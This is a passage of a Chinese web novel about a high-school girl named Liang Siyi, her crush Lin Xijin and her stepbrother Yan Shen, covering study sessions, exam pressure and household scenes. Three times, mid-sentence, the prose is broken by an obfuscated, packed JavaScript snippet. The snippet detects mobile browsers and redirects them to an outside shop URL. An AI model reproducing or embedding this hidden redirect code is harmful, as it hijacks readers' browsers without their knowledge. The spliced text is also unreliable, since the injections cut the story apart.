梁思意也有些饿了,跟着停了笔,但她先看向林西津:“一起吗?” “一起吧,反正都是同学。”林西津不甚在意地说。 梁思意跟着他一起站了起来。 另一边,阎慎将东西收进书包,起身看着徐衡说:“你们吃吧,我有点事,先走了。” “不吃饭啊。”徐衡问。 “不吃了。”阎慎拎起书包,看也不看梁思意,径直离开了图书馆。 梁思意顺着他离开的方向看了一眼,向葵挽住她的胳膊说:“那我们走吧,我知道这附近有一家煲仔饭特别好吃!” 梁思意笑了笑,说:“行。” 吃饭时,向葵趁着徐衡和林西津去买水的间隙,忍不住八卦:“阎慎是不是和他表哥关系不太好啊?他们不是亲的吗?” 梁思意犹豫着,不知道怎么解释。 因为她也不知道阎慎和林西津到底存在什么矛盾,甚至在最初,她根本不知道两个人关系不好。 林西津脾气温和,对所有人都体贴大方。 反而是阎慎,那些年在长辈和林西津的描述中,似乎只是一个学习好,却不太通人情的男生。 有着属于青春期特有的叛逆。 刚搬进阎家的时候,梁思意在林西津的影响下,也曾对阎慎敬而远之。 后来真的相处下来,她发现阎慎并不似想象中那么不近人情,只是对不相干的人没那么亲近。 随着住在同一屋檐下的时间久了,梁思意对他的看法也在发生改变。 在阎慎和林西津打完那一架之后,她也莫名觉得他不像长辈口中说得那么不懂事。 事后林西津也跟梁思意解释过,说当时打架只是男生之间的一点小摩擦,说的那些话也都是气话。 梁思意还替林西津向阎慎转达了他的歉意。 她到现在都还记得,阎慎当时听完之后给了她一个超级明显的白眼。 这些年,阎慎不待见林西津成了事实,梁思意也在和林西津的相处中察觉到他对阎慎的微妙敌意。 久而久之,她便没有再在中间替两人缓和关系。 “我也不太清楚。”梁思意沉默许久,才说,“他们很早之前就这样了。” “好吧,也太奇怪了。”向葵托着腮说,“我跟徐衡不是亲兄妹,看着都比他们两个关系好呢。” 梁思意叹了口气,也是一头雾水。 吃完饭,四人又回到图书馆,梁思意被徐衡抓着狂补数学,都没顾得上替林西津看试卷。 最后还是向葵抽空看了眼,改出几道错题,礼貌地问:“需要给你讲一下吗?” 林西津不怎么明显地笑了笑,语气淡淡的:“不用了,我知道错在哪里,我自己看一会儿。” “行。”向葵没多想,把试卷推了回去。 林西津看着摊在面前的卷子,上边的红色字迹异常刺眼,他静静看了片刻,提笔将那个红色的X划掉了。 他们在图书馆待到傍晚,晚上还有自习课,四个人怕堵车赶不上,打了一辆出租车。 梁思意坐在后排中间,林西津坐在她身旁,一直望着窗外,一路都没怎么说话。 下车后,向葵和徐衡先回了教室。 梁思意付了车费,和林西津并肩走在校园里,她主动打破沉默,说:“我看了你做的卷子,正确率挺高的。” 林西津没怎么在意,嗯了一声:“卷子也不难。” “是你基础好。”梁思意说,“只要你再细心点,成绩还是能往上提一提的。” 林西津笑了笑:“你怎么跟老王说一样的话。” “其实王老师找过我。”梁思意看着他,“他挺重视你的,也不想你就这么……” 她一时想不出该怎么形容。 “我努力着呢。”林西津抬手揉了揉梁思意的脑袋,“你也多加油,争取早点考回实验班。” 他收回手,梁思意下意识跟着摸了下被碰过的地方,发丝戳在手心里,微微发痒。 她试探着问:“那下周日,我们还一起出来吗?” 林西津没一口应下,只说:“再看吧。” 梁思意不想逼他太紧,便没再说什么,等他们回到教室,晚自习还没开始。 她放下书包,翻出水杯去接水。 书包敞着口放在桌上。 林西津顺手帮她把包塞进书桌抽屉里,但不知是没塞好,还是包里东西太多,没一会,连书带包都掉在地上。 他弯腰去捡。 笔袋,书和笔记本。 林西津挨个捡起来放在桌上,把空书包重新塞回抽屉,随手拿起一本笔记翻开。 里边记满了地理重点。 他来来回回翻了几页,无意间翻回第一页,手里的动作倏地顿住了。 整面空白的扉页,只潦草地写了一个字。 阎。 林西津又翻开笔记,字迹是眼熟的,可仔细看似乎又和印象里不太一样,他打开一本梁思意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990461|192483||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的复习资料。 是相似的字迹,只不过地理笔记上的字迹更大气,而复习资料上的字迹则在大气中又多了一丝秀气。 林西津沉默着看了许久,在梁思意回来之前,把笔记放了回去。 他一整晚情绪都不是特别高,梁思意问不出缘由,也有些心不在焉,等到放学也没把徐衡下午给她留的几道数学题写完。 “我先走了,明天见。”林西津空着手离开教室,看着他的背影,梁思意轻轻叹了声气。 她收拾好书包,离开教室的时候班里已经没剩几个人了。 冬夜里的校园格外寂静,凛冽的风卷着枝头仅剩的枯叶,在半空中打着卷落下。 梁思意走出校园,隔着一人高的围墙,看见教学楼顶层的四间实验班教室仍旧亮着炽白的光。 像迷茫海雾中的灯塔。 她长舒一口气,不再去想那些虚无缥缈的东西,快步走过马路。 回到家还不到十一点,梁思意收拾好坐在桌前。 她书桌正对着一楼院子,阎慎进门的时候,梁思意抬头看了眼时间,已经快十一点半了。 老房子隔音一般,梁思意听见他上楼的动静,一步两步,忽地,她的房门被敲响了。 “咚咚”两声。 梁思意愣了下才起身去开门。 阎慎停在门外,黑色冲锋衣的拉链在顶端晃荡,肩线平直优越,露出的脸依旧没什么太明显的情绪。 他单手抓着书包的肩带,垂着眼看她:“徐衡是不是给你留作业了?” 梁思意迟疑地点了点头。 他又问:“写完没?” 梁思意心虚地摇了摇头。 那张没什么情绪的脸终于出现波动,阎慎皱着眉,语气也多是难以理解:“八道题,不是八十道,你三节晚自习干什么去了?” “跟你有什么关系。”梁思意下意识嘴硬道,“你管得着吗?” “行,徐衡让我帮你检查一下,我看也是不用了。”说罢,他转身准备上楼。 梁思意只犹豫了两秒,伸手抓住他的书包:“等等等——” 阎慎回头看着她,冷冰冰地说:“做什么?” “我……”八道题确实不多,但题目难度大,梁思意写到现在,还有一道题完全没动。 她抿着唇,挣扎着开口:“我不是那个意思。” 阎慎没说话,垂眸看着她,静静等着下文。 梁思意深吸一口气,正准备开口,他忽然转身:“行了,下楼吧。” 她一口气憋在嗓子眼里,差点呛住,冲着他的背影挥了几次拳头,才回房间拿了东西下楼。 久违地坐在一起,梁思意也没觉得有什么不适应的,伸手将写完的题目推到阎慎面前,又继续在写剩下的最后一道题。 她思考时喜欢咬笔杆,偶尔还会抬头放空。 阎慎坐在餐桌的另一边,低头在看她写的解题过程,时不时在上边勾着写着,神情一如既往地认真。 “我头上有答案吗?”他忽然头也不抬地说。 梁思意吓了一跳,嘴上一用力,不小心把笔杆咬碎了:“……” 阎慎:“……” “呸呸。”她低头将嘴里的塑料吐进垃圾桶里,很不乐意地看了他一眼,似乎在责怪他突然出声吓到自己。 阎慎微不可察地哼笑了一声,把改好的题目拍到她面前:“没有一道题全对,你回八班才多久?” 梁思意又没底气了,一会儿挠脸,一会儿摸鼻子。 阎慎往后一靠,两手抱在胸前,直勾勾盯着她问:“你难道想为了林西津,一直留在八班?” 17.第 17 章 17 梁思意没想到阎慎会这么想,看了他几秒,说:“我没有这么想过。” 她一向拎得清,喜欢林西津,但从没有想过为了他牺牲自己的前途。 在旁人眼中不该谈论爱情的年纪,暗恋已经是她做过最出格的事情。 阎慎没有说话,似乎在思考她话里的真假,但梁思意并不在意他的看法,重新拿了一支新的笔,继续写自己的题目。 沉默继续填补两人相处的时刻。 阎慎安静坐了会儿,伸手将改完的题目推到梁思意面前,她抬头看了一眼,说:“我等下看。” 说完,停了几秒,她又说:“谢谢。” 阎慎“嗯”了一声,也没说别的,从包里翻出自己的书和卷子,塞着耳机低头在做笔记。 临近十二点,梁思意解出最后一道题目,停笔伸了个懒腰。 她打着哈欠,余光瞥见他搁在一旁的数学卷子,视线落到分数那一栏,阅卷老师写了三个硕大的数字。 -148 梁思意张大的嘴巴立马闭了起来,这是人能考出来的分吗? 这套卷子他们班上周也刚考过,难度有点大,她才考了一百零几分,已经算班里比较高的分数了。 梁思意当时还有些沾沾自喜,这会看到他的分数,顿时压力倍增。 她拿起阎慎改过的题目仔细看了一遍,发现徐衡留的这几道题并没有想象中那么高的难度。 考来考去也还是那几个点,只不过换了个出题方式。 换作平时,梁思意即使做不到八道题全对,但起码也能有一半的正确率,不会像现在这样,在不该出错的地方失误。 她看着阎慎圈画出来的地方,终于意识到阎慎先前对她的猜测从何而来。 尽管梁思意也不愿意承认,但回到八班,似乎在一定程度上还是对她的学习状态造成了影响。 想到这里,她的心情一时有些沉重,半天都没说话。 阎慎写着写着莫名觉得周围冷飕飕的,抬头一看,见梁思意盯着那几张纸一动不动。 他屈指敲了敲桌面:“看懂了?” “差不多。”梁思意回过神,决定暂时摒弃前嫌,把刚写完的最后一道题推过去,“这道题的第二小问,我解了一半,感觉不太对。” 阎慎拿起来看了会儿,隐约觉得有些熟悉,拿起笔记翻了两页,递到梁思意面前。 “这道题前年庆城二模考过,需要利用二阶导数判断凹凸性,这是理科学的内容,超纲了。”阎慎指了指笔记中的一道题,“解题步骤看看就行,一般情况文科高考不会考这个。” 梁思意一愣,拿起笔记看了眼,又看着阎慎,难以置信地问:“你都能记住哪道题是哪年哪个考试考的? “记住的不是题,是考点。”阎慎说,“数学的刷题关键不在刷多少,而是要记住每道题到底在考什么,它的根本逻辑是什么,大量刷题之后,其实你会发现考点就那些,变的只有题型。” 道理梁思意都懂,可她还是觉得震惊,起码她现在就做不到像他这样记住一道题,还能记住它出现在什么地方。 梁思意翻了翻他的笔记,忍不住问:“你都能记住这么复杂的东西,为什么历史政治那些还总背不下来?” 阎慎捏了捏后颈,语气没了之前的自信:“……那不一样。” 梁思意不理解哪里不一样,但总归有能压过他一头的地方,微死了一整晚的心终于活过来一些。 她小声嘀咕:“总算有你不会的了。” 阎慎没听清,“什么?” “夸你呢。”梁思意笑了笑。 “撒谎的人月考不能进前一百。” “……”梁思意顿生怒意,“你是不是有病!” “我又没说你。”阎慎看着她,“刚骂我什么了?” “骂你有病!”梁思意不友善地说,“你耳朵聋了啊。” “……”阎慎说,“前一句。” “就是骂你有病。” “还说没骂我?”阎慎挑着眉说。 梁思意快气晕,站起来说:“你真有病啊!” 她胡乱收着东西,气鼓鼓上了楼,已经不知道多少次决定不再给阎慎好脸色。 抱着这样的想法,梁思意又睡了一个不安稳的觉,梦里都在跟阎慎掐架,这次的他不哑也不聋,拿着一张张满分数学的卷子,嘲笑她考了个零蛋。 梁思意直接被吓醒了。 离闹钟响还有几分钟,她松了口气,掀开被子下床洗漱。 梁思意下楼时阎慎已经出门,她拿上早餐去学校,却依旧是最早到教室的那一批。 她照例翻开书,在冬天的晨雾中开启新的一天。 早读结束,梁思意身旁的座位却始终空着,微信上发出去的消息也一直没有收到回复。 她不知道林西津到底是怎么了。 趁着课间休息,梁思意拉着曲静去厕所,“静静,林西津这学期是经常这样迟到吗?” “差不多吧,老班都说过他好几次了,他爸妈似乎也不怎么在意,上次老班请家长,他爸妈说林西津就算考不上,以后也可以出国,让老王把心思放到其他学生身上就行。”曲静说,“他开学到现在,成绩掉得挺快的,好几个老师还经常在班里提你跟他做比较,说什么你看你同桌都去实验班了,你现在这样说得过去吗,不过我看他自己好像不怎么当回事。” “这样吗。”梁思意有些沉默,似乎没想到林西津会变成现在这样。 “老班是不是叫你多劝劝他?”曲静是个理智的人,说话也直接,“我看你不要在他身上太浪费时间了,高三那么关键,你自己的成绩也不是特别稳定,还是多把心思放在自己身上吧。” 梁思意勉强笑了下,说:“我明白,我心里有数。” 曲静也没再多说。 一直到中午放学,林西津都没来上课,班主任王立新来教室看过几次,梁思意注意到他的神情并不美妙。 果不其然,午休刚开始没多久,林西津和班上另外两个男生刚进班里坐下,班长便告诉他们王立新让他们回来去一趟办公室。 梁思意在他随手扔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998070|192483||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在桌上的外套上闻到一股淡淡的烟味。 林西津去了没多久,班里有好事的男生从外边进来,“坏事,老王这次真发火了,还叫了他们家长过来,下午他的课我们要遭殃了哦。” 梁思意下意识想起身,手按在桌上,最后又静静坐了回去。 老王会谈不知道说了什么,但说了挺长时间,下午第一节是他的课,却被换成了自习课。 那天梁思意也没等到林西津回教室,有人去打探,说是老王让他们家长把人带回去检讨。 她心不在焉过了一晚,回到家里却发现何文兰和阎余新都没休息,坐在客厅看电视。 “思意回来了。”阎余新拿起遥控器,关掉了电视,一副有话要说的样子,“过来坐。” 梁思意坐在一旁的单人沙发。 “今天小阎姑姑被叫去学校了,说是林西津逃课,一上午都没去上课。”阎余新说,“你跟他在一个班,知道是怎么回事吗?” 梁思意摇摇头:“不是很清楚。” “高三很紧张,压力也很大,但是有什么事一定要及时跟我和你妈妈说,不要都憋在心里。”阎余新语气温和,“千万不要做冲动的事,哪怕成绩掉了退了,这都不是最重要的。” 梁思意察觉出阎余新的意图,心里跟着一暖:“我明白,阎叔叔,你放心,我会按照我自己的节奏来。” 阎余新笑了笑:“行,那我们不耽误你休息了,有什么问题一定要及时跟我们说啊。” 梁思意“嗯”了一声,拎着书包上了楼。 她疲惫地倒在床上,从口袋里摸出手机,给林西津发的消息,一直都没收到回复。 梁思意把手机往旁边一扔,脸埋在枕头里,有些说不上来的郁闷:“啊……” 房间的窗户没关严,风吹过发出诡异的声响。 她在床上瘫了会儿,起身去关窗户,刚走近便看见阎慎坐在院子停着的电动车上。 阎余新点着烟站在他身侧。 冷风卷着白色的烟雾飘到阎慎面前。 他似乎有些受不了烟味,抬手在空气里挥了挥,烟雾却源源不断。 阎慎歪着头,手挡住呼吸,直到忍无可忍才猛地站了起来,没承想,他刚一起身,身后的电瓶车突然“嘭”的一声倒在地上。 在这寂静冬夜闹出不小的动静,巷子一连片的声控灯都跟着亮了起来。 梁思意头一回在阎慎脸上看见惊惶失措的样子,一时没忍住笑了出来。 阎余新也被这动静吓了一跳,手夹着烟嘴,愣在原地。 阎慎没什么脾气地把电瓶车扶起来,刚一松开手,车子紧跟着又要倒。 他下意识伸手去抓,手忙脚乱一通忙,人却被电瓶车倒下的惯性带着往前一摔。 又是“嘭”的一声。 何文兰也从屋里出来,看到摔在地上的阎慎和车,顿时大惊失色,快步走过去说:“说话就说话,怎么还动起手了。” 阎余新:“……” 阎慎:“……” 梁思意在楼上笑得都快直不起腰了。 18.第 18 章 18 阎余新摁灭烟头,把它丢进门口的垃圾桶里,把车子扶起来之后才想起来说:“我没动手。” 何文兰看也不看他,从晾衣绳上扯下一条毛巾,拍着阎慎身上的灰,嘴里念叨着:“快进去洗洗,你爸也真是的,找你谈心家里哪里不能谈,非要带着你在这院子抽风。” 阎慎也觉得何文兰说得有道理,真谈心也就罢了,找他说的还是林西津的事,真是浪费时间。 他不乐意地看了阎余新一眼,默不作声进了家。 阎余新走在后边说:“我想着出来抽根烟……” 阎慎想到自己闻的二手烟,更是气不打一处来,冷着一张脸上楼,猝不及防在二楼撞见刚从卧室出来的梁思意。 她强忍笑意的模样太过明显。 “想笑就笑。”阎慎冷酷地说。 梁思意还想辩解,刚一张嘴,跟按了什么开关一样,笑得根本停不下来。 阎慎靠着墙,无奈地看着她。 “对不起。”梁思意清了清嗓子,“我真不是……想笑……你……来着。” 一句话想不带笑意说出来,实在有些困难,她干脆紧抿着唇,指了指他头顶的位置。 “什么?”阎慎不明所以地摸了摸头,却什么都没摸到。 “左边,有个叶子。”院墙上都是月季藤蔓和仅剩不多的叶子,他一头扎进去,头发里都是碎叶。 阎慎摸了几次都没摸到,索性没管,只问她:“我爸说林西津今天逃课被请家长了?” 梁思意顿时收敛了笑意,警惕地看着他。 “这么看着我做什么,又不是我让他逃课的。”阎慎走上最后几级台阶,垂着眼看她,“他不是一向听你的话吗,怎么,你没劝劝他?” “跟你有什么关系。”梁思意莫名觉得压迫感扑面而来,下意识往后退了一步。 阎慎不明所以地笑了声,没在意她的回答,走了几步忽然回头问:“我挺好奇的。” 梁思意看着他,没接话。 “林西津知道你喜欢他吗?” 梁思意沉默了。 在这个问题上,她也一样存在疑问。 林西津是个温和体贴的人,对梁思意从始至终都很好,但他对所有人都很好。 他忽远忽近的态度,也时常让梁思意将他的好放在友情和爱情的天平上摇摆不定。 “跟你没关系。”梁思意依旧抗拒和阎慎讨论她与林西津的关系。 阎慎看似也没有那么在意,像是随口一问,没能得到回答也无所谓,径直上了楼。 梁思意先前得到短暂纾解的郁闷心情,此刻又因为他突如其来的问题重新变得糟糕。 她垂头丧气进了卧室,拿起手机看了眼,林西津依旧没有回消息。 梁思意想了想,又发了一条。 没有意思:你明天来学校吗? 梁思意没有刻意等林西津的回复,手机搁在一旁,卧室的灯一直点到凌晨才灭。 时间是流动的,也是珍贵的。 次日一早,梁思意顶着老北风去了学校,进教室才发现林西津已经坐在位上了。 “你今天怎么这么早?”她有些意外地问。 “我爸早上送我。”林西津打了个哈欠,昨天回去之后,好脾气的林元良也对他发了火,决定到寒假结束前都亲自看着他去学校。 梁思意迟疑道:“你昨天回去……” “没什么事,就是这段时间没手机也没游戏机了。”林西津打趣道,“要是期末考试没能考进班级前十,估计下学期也没好日子过,以后就跟坐牢差不多了。” “难怪我昨天给你发消息,你都没有回。”梁思意松了口气,安慰道,“可能等过段时间,他们气消了也就好了。” “但愿吧。”林西津重新趴回到桌上。 “那这周末,你要不要再跟我一起去自习,也不用去图书馆那么远,就在教室,或者我去你家找你。”梁思意说,“毕竟离期末也没多长时间了。” 林西津这次没拒绝:“行,直接来班里自习吧,反正学校周末也开门。” 梁思意笑着说了声好。 到了周末,梁思意怕林西津忘记,又想到他最近没有手机,临走之前跟他提了几遍明早来教室自习的事。 “记住了记住了。”林西津笑着说。 梁思意这才放心,和他一起走出教室,等走到校门口,林元良的车已经停在路边。 梁思意走过去打了声招呼,才转身走进巷子里。 这一周林西津在林元良的看管下,没有再迟到早退,班主任对他态度都和颜悦色许多。 梁思意和他好似又回到过去相处的模式,想到这儿,她回家的脚步都轻快许多。 晚上,她照常在房间学习。 房门忽然被敲响。 这几个月下来,梁思意已经摸清,一般情况下,何文兰敲门会喊她一声,阎余新几乎不上楼打扰她。 只有阎慎,敲了门也不说话。 梁思意走过去,拉开房门,已经毫不意外:“怎么了?” “向葵和徐衡问你明天去不去学校自习。”阎慎说,“去的话,晚上提前跟他们说一声。” 梁思意犹豫着开口:“我明天去学校自习……” “嗯?”阎慎没等到她下文,也很快反应过来,“和林西津?” 梁思意不情不愿地点了点头。 他轻嗤:“以林西津现在的成绩,能帮到你什么?” “我没想着要他帮我什么。”梁思意不乐意地看着他,“自习的事我等下自己跟向葵他们说,你还有事吗?没事我要去学习了。” “你离开实验班,徐衡一直很内疚,帮你补课也是他们想让你尽快回来。”阎慎冷声说,“你不要辜负他们的好心。” 梁思意当然明白,只是觉得阎慎语气不好,也不由自主地皱起眉说:“我知道他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002553|192483||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们是好心,如果他们愿意,明天我们可以一起去学校补习。” “顺便再帮林西津补一下是吗?”阎慎看着她,“他们帮你,是徐衡觉得自己害你成绩下降,心里过意不去,帮林西津算什么,高三谁的时间不是时间?” “我没有那么想过,我只是想着大家一起学习有什么问题可以一起讨论,他们在这个时候愿意空出时间帮我,我很感激,也没想过辜负他们的好心。”梁思意说,“至于我要帮谁,跟你没关系。” 阎慎眸光沉沉地看着她,最终也只是沉默着点了点头,转身上了楼。 梁思意莫名其妙被安了一个罪名,心里也有讲不出的气,坐在桌边好半天都没静下心。 一墙之隔的楼上。 阎慎推开门,将书包扔在桌上,整个人直接瘫倒在床上。 静谧的空间里,微信消息弹个不停。 AAAA衡哥:明天怎么说? AAAA衡哥:去班里还是去你家?真不行还去图书馆,只要不让我待在家里听我妈念叨,天涯海角我随你去。 AAAA衡哥:哥? AAAA衡哥:帅哥? 阎慎拿起手机看了眼,敲了几个字。 YS:她约了同学,你们自己跟她约,明天我有事。 徐衡没回,阎慎站起身,胡乱揉了把头发,似乎有些无所适从,走到桌边站着发愣。 桌上还放着一本没整理好的数学笔记,旁边是一沓写完的试卷。 他垂眸看了好一会,忽然叹了声气,拉开椅子坐在桌前。 和之前许多个夜晚一样。 阎慎面无表情地从抽屉里翻出剪刀,把试卷上提前圈出来的题目裁剪下来粘在笔记本上。 随后,他提笔将早已烂记于心的解题过程默写出来,又在空白处标注这道题的考点。 同样的动作重复许多遍。 试卷越堆越高,笔记本也翻过一页又一页。 将全部题目整理完,已经过了十二点。 阎慎将笔记合上放在桌边,旁边还有一本同样封皮的笔记,是之前拿给梁思意看过的那本。 她还回来之后,阎慎一直放在桌上没动过。 他拿起来翻了翻。 笔记里梁思意没留下任何痕迹,只偶尔几道题目上,有笔尖戳在上边留下的黑色小点。 阎慎仔细看了眼,有痕迹的那些题都是难度比较大的,大约是她思考时无意间点上的。 他想到梁思意被难题困住的模样,轻笑了一声,紧跟着又翻过一页。 笔记本不是特别厚,阎慎很快翻到最后一页,手上的动作跟着一停。 笔记的封底内里原先是空白的,此刻却突然多出一些图案。 是两个Q版人物。 男生的表情很凶,姿态也比较高傲,女生则笑眯眯的,做了一个双手抱拳的动作。 旁边写了五个字。 “大恩不言谢。” 19.第 19 章 19 周末又是一个难得的大晴天。 梁思意和林西津一早到了教室没多久,向葵和徐衡也从外面走了进来。 “Hi~”向葵跟林西津打了声招呼,“昨晚思意跟我说她今天也要来教室自习,我们就约着一起了,不介意多两个人吧?” 林西津笑了笑,说:“当然不会。” 四个人拼桌坐在一起,徐衡翻出四张试卷,说:“这是我在八中的同学传给我的数学卷子,我还没来得及做。给你们也复印了两张,等下一起做。” 梁思意接过一张,看见侧边印着“八中密卷,杜绝外传”八个小字,想起三中也经常在学校自出的试卷上印这样的小字,但最后还是传得全市通用。 徐衡定了两个小时的闹钟,又说:“我们一块写了,有什么问题等会也能一起讨论。” 三人都说行。 卷子难度中等,连梁思意写起来也都觉得没那么棘手,草稿纸上写满了计算过程。 徐衡和向葵都低着头在奋笔疾书。 林西津写着停着,很多内容看似熟悉,却总卡在一半,他偶尔抬头,目光落到梁思意那里。 梁思意无知无觉,手中的笔快速滑动着。 林西津又垂眸看着眼前的试卷,黑色铅字铺天盖地地映入眼帘,心中逐渐涌生挫败与烦躁。 还不到两个小时,向葵和徐衡都停了笔,熟练地拿起对方的试卷,几乎没出现什么不同的答案。 向葵看向梁思意,她已经写到最后一道大题,顺便又看了眼林西津的卷子,一时愣了愣。 一共五道解答题,他只写了前两题,最后三道大题还是空着的。 她碰了碰徐衡的胳膊,徐衡顺着看过去,提笔在卷子上写了几个字。 -还没到时间呢,我同学说这套卷子难度不高,他们普通班都好几个考高分的。 向葵没多说,看了眼手机,离两小时结束还剩二十分钟。 梁思意写完最后一个数字,长舒一口气:“八中的卷子也没我想象中那么难啊。” “哟,口气不小。”徐衡接过她的试卷,“我来看看你能考多少分。” “看吧看吧。”梁思意揉着手腕,凑过去看林西津的卷子,也看到他空着的三道大题。 她一时没说话,反倒是林西津笑叹道:“你进步好快。” 梁思意想到曲静之前说的那些话,起初的嘚瑟劲收敛了几分,斟酌着说:“都是徐衡和向葵,他们平时帮了我很多。” 还有阎慎。 只是这个名字不适合在这个时候提起。 “看来阎慎给你的数学笔记挺有用啊。”徐衡头也不抬地说,“选择填空加起来只错了四道,大题我简单扫了眼,最后两题有点问题,等下吃完饭回来给你讲,我真饿了。” “……”梁思意抿了抿唇,也不知道说什么好,“那我们先去吃饭吧,我妈知道你们帮我补习,早上出门前特地交代我,要我中午带你们回家吃。” “那会不会太打扰了?”向葵说。 梁思意看了眼林西津,说:“不会,中午家里没别人,就我妈妈自己在家。” 阎慎出门早,梁思意吃早餐的时候,听到他跟何文兰说今天有事,不用等他回来吃饭。 何文兰也没多问,但中午做好饭之后,还是给他单独盛出来一份。 梁思意在厨房看到她放在保温盒里的饭菜,问了句:“中午要给阎叔叔送餐吗?” “不是,给小阎留的,怕他临时回来。”何文兰把碗筷递给她,“你别在这里忙活了,快招呼你同学吃饭。” “知道了。”梁思意笑着说。 何文兰手艺好,徐衡一个人吃掉桌上二分之一的量,吃到最后向葵都怕他撑死过去。 吃饱喝足,他们也懒得折腾,索性留在家里学习。 梁思意下午有些犯困,杵着脑袋写试卷,时不时关注林西津的动静。 向葵和徐衡揪着一道题吵不停,梁思意也凑过去看了眼,题目还没读懂,院子里忽然传来何文兰的声音:“小阎回来啦,吃饭了吗?” 闻言,梁思意捏着试卷的手一松,抬头看向门口。 “吃过了。”阎慎从屋外走进室内,许是没想到家里有这么多人,他脚步猛地停了下来。 “哎哟,你回来得正好,快过来帮我看下这道题。”徐衡率先叫嚷道。 阎慎这才动起来,低头换了鞋,拎着书包走到餐桌边。 梁思意和林西津坐在靠里的位置,他跟没看见两人似的,拖了张凳子坐在徐衡右手边。 “奥赛题你们也做?”阎慎审完题,拽了张草稿纸开始计算。 “这不是想刷点难题,给自己上点强度吗。”徐衡笑着说,“没想到强度上过头了。” 他和向葵属于均衡选手,各科成绩都稳定,月考模拟考对他们来说已经不算什么难过的关。 只要按部就班学下去,名校已经在向他们招手。 阎慎原先是理科重点班的,如若不是中途突然转科,现在估计在理科实验班也是尖子生。 只不过奥赛题对于他们这种没参加过竞赛的人来说,强度确实超纲。 半个小时后,草稿纸已经写满数字,但阎慎写写停停,最后还是放下笔说:“解不出来。” “我去,你都解不出来。”徐衡说,“算了,别浪费时间了,我还是拿到学校去问老张。” “我说你以后能不能少找点这种超纲题。”向葵照着徐衡脑袋拍了一巴掌,“我的意志禁不起你这样磨炼。” “错了错了。”徐衡缩着脖子躲开,模样有些滑稽。 阎慎揉着眉心,很轻地笑了一下,目光始终没有一点偏移。 梁思意说不上来是什么心情,只是自从被阎慎知道自己的秘密之后,这样的场景对她来说,总免不了有些提心吊胆。 此刻阎慎不分青红皂白的误解,林西津不知缘由的回避,也一样都让她觉得难受。 好在向葵主动开口说:“既然你回来了,我们收拾收拾早点去班里吧,晚点还有英语周测,我得去提前调一下录音机。” “行。”阎慎站起身,说,“我上楼拿几本书。” 徐衡收拾好书包,去了卫生间。 向葵帮梁思意看完最后两道题,见阎慎从楼上下来,说:“那我们先回去了,有什么问题你随时给我们发消息。” “好。”梁思意笑着点了点头。 徐衡擦着手走出来,三个人走到院子里,梁思意听见他们跟何文兰告别的声音。 屋里静了一瞬。 梁思意看向林西津写了一下午的卷子,刚准备说话,却见徐衡突然走了进来,“差点忘记把笔记给你了。” 他把手中笔记本放到桌上,特别叮嘱道:“好好看啊。” 梁思意看见熟悉的封皮,愣了一瞬才拿起来说:“谢谢。” “不谢。”徐衡摆摆手,快步走出去,嗓门很大地喊了一声,“哎哟,阿姨不好意思,我刚太着急进屋忘换鞋了,今天时间赶,下次我来给你打扫卫生。” 何文兰笑着说没事,抱着晒好的衣服走进屋里:“思意,西津,你们晚上想吃点什么?时间还早你们吃了再去学校也来得及。” “都行。”梁思意应了声,翻开笔记,是熟悉的题目整理,她眸光闪了闪,微不可察地叹了声气。 林西津坐在一旁,突然说:“什么笔记,我能看看吗?” “数学笔记。”梁思意递过去,犹豫着说,“徐衡的字我不太看得懂,他就让阎慎把他的笔记先借我。” 林西津“哦”了一声,随便翻了几页,合上之后又说:“今晚能借我拿回去看一下吗?” 梁思意愣住,一时间没说好还是不好。 林西津轻笑:“跟你开玩笑的,我拿回去用处也不大。” 梁思意没有不经别人同意乱借东西的习惯,更何况这还是阎慎的笔记,她要是真借给林西津,他知道后估计能把她赶出三中。 林西津把笔记放到桌上,梁思意拿起来收进书包里,沉默了会,想到一个两全之策:“我看完之后,重新整理一份给你。” “没事,也快月考了,你先忙你的。”林西津收好东西,说,“我约了人打球,晚点学校见。” “你不吃东西了吗?”梁思意问。 “不了。”林西津走到客厅,“何姨,我约了人,晚饭就不在这里吃了,我先走了。” “哎。”何文兰应了声,从洗衣房走出来说,“要不要给你装点吃的?” 林西津摆手说不用,又看了眼梁思意:“走了。” 梁思意点点头,一时也没了胃口,想到晚上班里也有数学周测,她又翻出装进书包里的数学笔记。 天大地大,学习最大。 梁思意收起乱七八糟的念头,拿起笔记看了起来。 晚上周测结束,她甚至觉得还没有白天做的那套八中密卷难,自我感觉太过良好,一时没忍住笑了出来。 “笑什么?”考完试,林西津又将桌子拼回来。 “笑刚刚的考试。”梁思意拍拍脸,不让自己太过得意,“今天考完提前放学,你跟你林叔叔说了吗?” “说了。”林西津说,“走吗?” 